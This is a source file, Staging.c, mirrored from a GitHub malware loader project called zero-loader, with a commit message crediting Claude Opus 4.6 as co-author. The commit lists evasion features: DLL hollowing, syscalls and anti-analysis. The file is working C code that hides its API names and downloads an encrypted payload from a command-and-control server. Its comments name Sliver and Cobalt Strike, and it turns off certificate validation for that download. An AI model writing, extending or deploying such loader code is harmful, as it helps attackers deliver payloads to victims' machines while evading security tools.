mirror of
https://github.com/xAL6/zero-loader
synced 2026-06-06 17:03:01 +00:00
xAL6
bc1d876f22
- Phantom DLL hollowing: auto-scan System32 for suitable DLL instead of hardcoded name, copy to temp to bypass TrustedInstaller ACLs, fix all handle leaks in error/success paths - Syscalls: fix SSN=0 edge case with bSsnFound flag instead of dwSSn==0 - Crypt: remove redundant -0 in brute-force key recovery - Staging: add HTTP 200 status verification, remove verbose cert bypass debug logs, clean up unused HTTP_QUERY_CONTENT_LENGTH define - Evasion: clear DR0/DR1/DR7 via NtContinue in CleanupEvasion, remove verbose per-check anti-analysis logs - Common.h: add CloseHandle JOAAT hash + file I/O typedefs for DLL scan - Encrypt.py: add obfuscated strings for file scan APIs - Disable DEBUG mode, update README (size badge, feature descriptions) Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
275 lines
9.9 KiB
C
275 lines
9.9 KiB
C
// =============================================
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// Staging.c - Download encrypted payload via HTTP/HTTPS
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// Handles self-signed certificates (Sliver/Cobalt Strike)
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// Uses InternetCrackUrlA for robust URL parsing
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// =============================================
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#include "Common.h"
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#define DOWNLOAD_CHUNK_SIZE 8192
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#define INTERNET_OPEN_TYPE_PRECONFIG 0
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#define INTERNET_SERVICE_HTTP 3
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#define INTERNET_DEFAULT_HTTP_PORT 80
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#define INTERNET_DEFAULT_HTTPS_PORT 443
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#define INTERNET_FLAG_SECURE 0x00800000
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#define INTERNET_FLAG_RELOAD 0x80000000
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#define INTERNET_FLAG_NO_CACHE_WRITE 0x04000000
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#define INTERNET_FLAG_KEEP_CONNECTION 0x00400000
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#define INTERNET_FLAG_NO_AUTO_REDIRECT 0x00200000
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#define INTERNET_FLAG_IGNORE_CERT_CN_INVALID 0x00001000
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#define INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 0x00002000
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#define INTERNET_OPTION_SECURITY_FLAGS 31
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#define SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x00000100
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#define SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x00001000
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#define SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00002000
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#define SECURITY_FLAG_IGNORE_REVOCATION 0x00000080
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#define HTTP_QUERY_STATUS_CODE 19
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#define HTTP_QUERY_FLAG_NUMBER 0x20000000
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#define INTERNET_SCHEME_HTTP 3
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#define INTERNET_SCHEME_HTTPS 4
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// WinINet typedefs
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typedef PVOID(WINAPI* fnInternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
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typedef PVOID(WINAPI* fnInternetConnectA)(PVOID, LPCSTR, WORD, LPCSTR, LPCSTR, DWORD, DWORD, ULONG_PTR);
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typedef PVOID(WINAPI* fnHttpOpenRequestA)(PVOID, LPCSTR, LPCSTR, LPCSTR, LPCSTR, LPCSTR*, DWORD, ULONG_PTR);
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typedef BOOL (WINAPI* fnHttpSendRequestA)(PVOID, LPCSTR, DWORD, LPVOID, DWORD);
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typedef BOOL (WINAPI* fnInternetReadFile)(PVOID, LPVOID, DWORD, LPDWORD);
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typedef BOOL (WINAPI* fnInternetCloseHandle)(PVOID);
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typedef BOOL (WINAPI* fnInternetSetOptionA)(PVOID, DWORD, LPVOID, DWORD);
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typedef BOOL (WINAPI* fnInternetQueryOptionA)(PVOID, DWORD, LPVOID, LPDWORD);
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typedef BOOL (WINAPI* fnHttpQueryInfoA)(PVOID, DWORD, LPVOID, LPDWORD, LPDWORD);
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// InternetCrackUrlA
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typedef struct _URL_COMPONENTSA_S {
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DWORD dwStructSize;
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LPSTR lpszScheme;
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DWORD dwSchemeLength;
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DWORD nScheme;
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LPSTR lpszHostName;
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DWORD dwHostNameLength;
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WORD nPort;
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LPSTR lpszUserName;
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DWORD dwUserNameLength;
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LPSTR lpszPassword;
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DWORD dwPasswordLength;
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LPSTR lpszUrlPath;
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DWORD dwUrlPathLength;
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LPSTR lpszExtraInfo;
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DWORD dwExtraInfoLength;
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} URL_COMPONENTSA_S;
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typedef BOOL(WINAPI* fnInternetCrackUrlA)(LPCSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, URL_COMPONENTSA_S* lpUrlComponents);
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BOOL DownloadPayload(
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IN PAPI_HASHING pApi,
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IN LPCSTR szUrl,
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OUT PBYTE* ppData,
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OUT PDWORD pdwSize
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) {
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// Deobfuscate DLL name
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BYTE xWininet[] = XSTR_WININET_DLL;
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DEOBF(xWininet);
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HMODULE hWinInet = pApi->pLoadLibraryA((LPCSTR)xWininet);
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if (!hWinInet) {
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LOG("[!] LoadLibrary(wininet) FAILED");
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return FALSE;
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}
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// Deobfuscate API names
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BYTE xA1[] = XSTR_INTERNET_OPEN_A;
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BYTE xA2[] = XSTR_INTERNET_CONNECT_A;
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BYTE xA3[] = XSTR_HTTP_OPEN_REQUEST_A;
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BYTE xA4[] = XSTR_HTTP_SEND_REQUEST_A;
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BYTE xA5[] = XSTR_INTERNET_READ_FILE;
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BYTE xA6[] = XSTR_INTERNET_CLOSE_HANDLE;
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BYTE xA7[] = XSTR_INTERNET_SET_OPTION_A;
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BYTE xA8[] = XSTR_INTERNET_QUERY_OPTION_A;
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BYTE xA9[] = XSTR_INTERNET_CRACK_URL_A;
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DEOBF(xA1); DEOBF(xA2); DEOBF(xA3); DEOBF(xA4);
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DEOBF(xA5); DEOBF(xA6); DEOBF(xA7); DEOBF(xA8);
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DEOBF(xA9);
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fnInternetOpenA pInetOpen = (fnInternetOpenA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA1);
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fnInternetConnectA pInetConnect = (fnInternetConnectA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA2);
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fnHttpOpenRequestA pHttpOpen = (fnHttpOpenRequestA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA3);
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fnHttpSendRequestA pHttpSend = (fnHttpSendRequestA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA4);
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fnInternetReadFile pInetRead = (fnInternetReadFile)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA5);
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fnInternetCloseHandle pInetClose = (fnInternetCloseHandle)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA6);
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fnInternetSetOptionA pInetSetOpt = (fnInternetSetOptionA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA7);
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fnInternetQueryOptionA pInetQueryOpt = (fnInternetQueryOptionA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA8);
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fnInternetCrackUrlA pCrackUrl = (fnInternetCrackUrlA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xA9);
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if (!pInetOpen || !pInetConnect || !pHttpOpen || !pHttpSend || !pInetRead || !pInetClose || !pCrackUrl) {
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LOG("[!] Failed resolving WinINet");
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return FALSE;
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}
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// Parse URL using InternetCrackUrlA (handles all edge cases)
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CHAR szHost[256] = { 0 };
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CHAR szPath[512] = { 0 };
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URL_COMPONENTSA_S uc;
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MemSet(&uc, 0, sizeof(uc));
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uc.dwStructSize = sizeof(uc);
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uc.lpszHostName = szHost;
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uc.dwHostNameLength = sizeof(szHost);
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uc.lpszUrlPath = szPath;
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uc.dwUrlPathLength = sizeof(szPath);
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if (!pCrackUrl(szUrl, 0, 0, &uc)) {
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LOG("[!] InternetCrackUrl failed");
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return FALSE;
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}
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WORD wPort = uc.nPort;
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BOOL bHttps = (uc.nScheme == INTERNET_SCHEME_HTTPS);
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LOG("[*] Connecting...");
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// Open session (deobfuscated User-Agent)
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BYTE xUA[] = XSTR_USER_AGENT;
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DEOBF(xUA);
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PVOID hInternet = pInetOpen(
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(LPCSTR)xUA,
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INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0
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);
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if (!hInternet) {
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LOG("[!] InternetOpen FAILED");
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return FALSE;
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}
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// Connect to host
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PVOID hConnect = pInetConnect(
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hInternet, szHost, wPort,
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NULL, NULL,
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INTERNET_SERVICE_HTTP, 0, 0
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);
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if (!hConnect) {
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LOG("[!] InternetConnect FAILED");
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pInetClose(hInternet);
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return FALSE;
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}
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// Build request flags
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DWORD dwReqFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION;
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if (bHttps) {
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dwReqFlags |= INTERNET_FLAG_SECURE
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| INTERNET_FLAG_IGNORE_CERT_CN_INVALID
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| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
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}
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// Open GET request
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BYTE xGET[] = XSTR_HTTP_GET;
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DEOBF(xGET);
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PVOID hRequest = pHttpOpen(hConnect, (LPCSTR)xGET, szPath, NULL, NULL, NULL, dwReqFlags, 0);
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if (!hRequest) {
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LOG("[!] HttpOpenRequest FAILED");
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pInetClose(hConnect);
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pInetClose(hInternet);
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return FALSE;
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}
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// Send request - first attempt (will fail on self-signed cert)
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LOG("[*] Sending request...");
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BOOL bSent = pHttpSend(hRequest, NULL, 0, NULL, 0);
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// If HTTPS failed (self-signed cert), set flags on SAME handle and retry
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// MSDN pattern: the SSL context is created by the first attempt,
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// so security flags can only be modified after it fails
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if (!bSent && bHttps && pInetSetOpt) {
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// Query existing security flags on this handle (SSL context exists now)
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DWORD dwSecFlags = 0;
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DWORD dwBuffLen = sizeof(dwSecFlags);
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if (pInetQueryOpt)
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pInetQueryOpt(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, &dwBuffLen);
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// OR in all cert-ignore flags
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dwSecFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA
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| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
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| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
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| SECURITY_FLAG_IGNORE_REVOCATION;
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pInetSetOpt(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, sizeof(dwSecFlags));
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// Retry on SAME handle - SSL context preserved
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bSent = pHttpSend(hRequest, NULL, 0, NULL, 0);
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}
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if (!bSent) {
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LOG("[!] HttpSendRequest FAILED");
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pInetClose(hRequest);
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pInetClose(hConnect);
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pInetClose(hInternet);
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return FALSE;
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}
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LOG("[+] Request sent, reading response...");
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// Verify HTTP 200 OK before reading body
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BYTE xQueryInfo[] = XSTR_HTTP_QUERY_INFO_A;
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DEOBF(xQueryInfo);
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fnHttpQueryInfoA pHttpQuery = (fnHttpQueryInfoA)pApi->pGetProcAddress(hWinInet, (LPCSTR)xQueryInfo);
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if (pHttpQuery) {
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DWORD dwStatusCode = 0;
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DWORD dwStatusLen = sizeof(dwStatusCode);
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DWORD dwIndex = 0;
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if (pHttpQuery(hRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
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&dwStatusCode, &dwStatusLen, &dwIndex)) {
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if (dwStatusCode != 200) {
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LOG("[!] Server returned non-200 status");
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pInetClose(hRequest);
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pInetClose(hConnect);
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pInetClose(hInternet);
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return FALSE;
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}
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}
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}
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// Read response in chunks
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SIZE_T sTotalSize = 0;
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SIZE_T sCapacity = DOWNLOAD_CHUNK_SIZE * 32;
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PBYTE pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sCapacity);
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if (!pBuffer) {
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pInetClose(hRequest);
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pInetClose(hConnect);
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pInetClose(hInternet);
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return FALSE;
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}
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DWORD dwBytesRead = 0;
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while (1) {
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if (sTotalSize + DOWNLOAD_CHUNK_SIZE > sCapacity) {
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sCapacity *= 2;
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PBYTE pNew = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sCapacity);
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if (!pNew) break;
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MemCopy(pNew, pBuffer, sTotalSize);
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HeapFree(GetProcessHeap(), 0, pBuffer);
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pBuffer = pNew;
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}
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if (!pInetRead(hRequest, pBuffer + sTotalSize, DOWNLOAD_CHUNK_SIZE, &dwBytesRead))
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break;
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if (dwBytesRead == 0)
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break;
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sTotalSize += dwBytesRead;
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}
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pInetClose(hRequest);
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pInetClose(hConnect);
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pInetClose(hInternet);
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// Wipe sensitive URL data from stack
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MemSet(szHost, 0, sizeof(szHost));
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MemSet(szPath, 0, sizeof(szPath));
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if (sTotalSize == 0) {
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LOG("[!] Downloaded 0 bytes");
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HeapFree(GetProcessHeap(), 0, pBuffer);
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return FALSE;
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}
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*ppData = pBuffer;
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*pdwSize = (DWORD)sTotalSize;
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LOG("[+] Payload downloaded");
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return TRUE;
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}
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